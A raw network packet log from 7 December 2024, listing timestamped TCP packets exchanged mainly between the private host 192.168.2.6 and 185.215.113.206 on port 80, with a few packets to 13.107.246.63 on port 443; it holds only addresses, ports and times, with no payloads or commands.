Dec 7, 2024 22:40:45.509583950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.509650946 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.509692907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.510473013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.510528088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.510540962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.510580063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.511411905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.511461020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.511497974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.511540890 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.512360096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.512412071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.512434959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.512476921 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.513297081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.513340950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.513370991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.513408899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.554996967 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.555752993 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.555783987 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.556252003 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.556257010 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.565459013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.565541983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.565565109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.565607071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.565840006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.565891027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.565893888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.565937042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.566764116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.566814899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.566924095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.566967010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.567703962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.567755938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.567886114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.567933083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.568730116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.568777084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.568806887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.568845987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.569574118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.569622993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.569684029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.569722891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.570574045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.570621014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.570627928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.570653915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.571465015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.571525097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.571635962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.571681976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.572422981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.572472095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.572511911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.572560072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.573342085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.573388100 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.573463917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.573508024 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.574278116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.574322939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.574400902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.574445963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.575238943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.575289965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.575340033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.575385094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.576169014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.576216936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.576251030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.576292992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.577133894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.577183008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.577214003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.577254057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.578058004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.578119993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.578155041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.578197002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.579021931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.579070091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.579124928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.579168081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.579963923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.580029011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.580070972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.580112934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.580878019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.580929995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.580966949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.581008911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.581840992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.581891060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.581923008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.581963062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.582786083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.582842112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.582871914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.582911968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.583735943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.583792925 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.583802938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.583842993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.584670067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.584764957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.584767103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.584808111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.585647106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.585704088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.585726976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.585769892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.586565971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.586625099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.586654902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.586698055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.587527037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.587579966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.587616920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.587657928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.588474035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.588515997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.588597059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.588644028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.589371920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.589420080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.589488029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.589531898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.590328932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.590374947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.590409994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.590456009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.591295004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.591355085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.591386080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.591429949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.592242956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.592292070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.592328072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.592371941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.593183994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.593233109 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.593278885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.593321085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.594100952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.594149113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.594213963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.594259024 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.595061064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.595103979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.595175028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.595217943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.596014023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.596065044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.596098900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.596143961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.596965075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.597018003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.597098112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.597141027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.597882986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.597934961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.597985983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.598025084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.598833084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.598882914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.598951101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.599001884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.599781036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.599836111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.599872112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.599912882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.600728035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.600776911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.600809097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.600852966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.601659060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.601712942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.601798058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.601850033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.602633953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.602684975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.602750063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.602794886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.603579044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.603636026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.603653908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.603698969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.604507923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.604559898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.604629040 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.604667902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.605421066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.605472088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.719763994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.719789028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.719865084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.720025063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.720136881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.720190048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.721013069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.721060038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.721091986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.721173048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.721910954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.721960068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.722016096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.722054958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.722862005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.722959042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.723000050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.723046064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.723814964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.723864079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.723923922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.723973036 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.724734068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.724783897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.724852085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.724895954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.725708961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.725754976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.725857019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.725897074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.726670027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.726715088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.726742983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.726788044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.727657080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.727700949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.727768898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.727818966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.728513956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.728557110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.791471958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.791565895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.791672945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.791807890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.791882038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.791935921 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.792535067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.792587996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.792645931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.792721987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.793529034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.793581009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.793636084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.793693066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.794415951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.794465065 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.794532061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.794574976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.795440912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.795492887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.795511961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.795553923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.796346903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.796396971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.796432972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.796478033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.797265053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.797318935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.797358036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.797633886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.798217058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.798280001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.798362970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.798413038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.799140930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.799195051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.799290895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.799355030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.800273895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.800323009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.800467968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.800540924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.801054955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.801107883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.801143885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.801260948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.802016973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.802069902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.802103043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.802145004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.802941084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.803002119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.803018093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.803071022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.803891897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.804022074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.804027081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.804066896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.804816961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.804958105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.804994106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.805033922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.805774927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.805876017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.805924892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.806708097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.806766033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.806822062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.806879044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.807660103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.807723999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.807806969 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.807859898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.808629990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.808679104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.808739901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.808825016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.809514046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.809618950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.809631109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.809674978 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.810476065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.810524940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.810581923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.810714960 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.811434031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.811480999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.811515093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.811553001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.812357903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.812427044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.812469959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.812520981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.813355923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.813410997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.813484907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.813534021 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.814255953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.814323902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.814359903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.814399958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.815186977 CET	80	49790	185.215.113.206	192.168.2.6
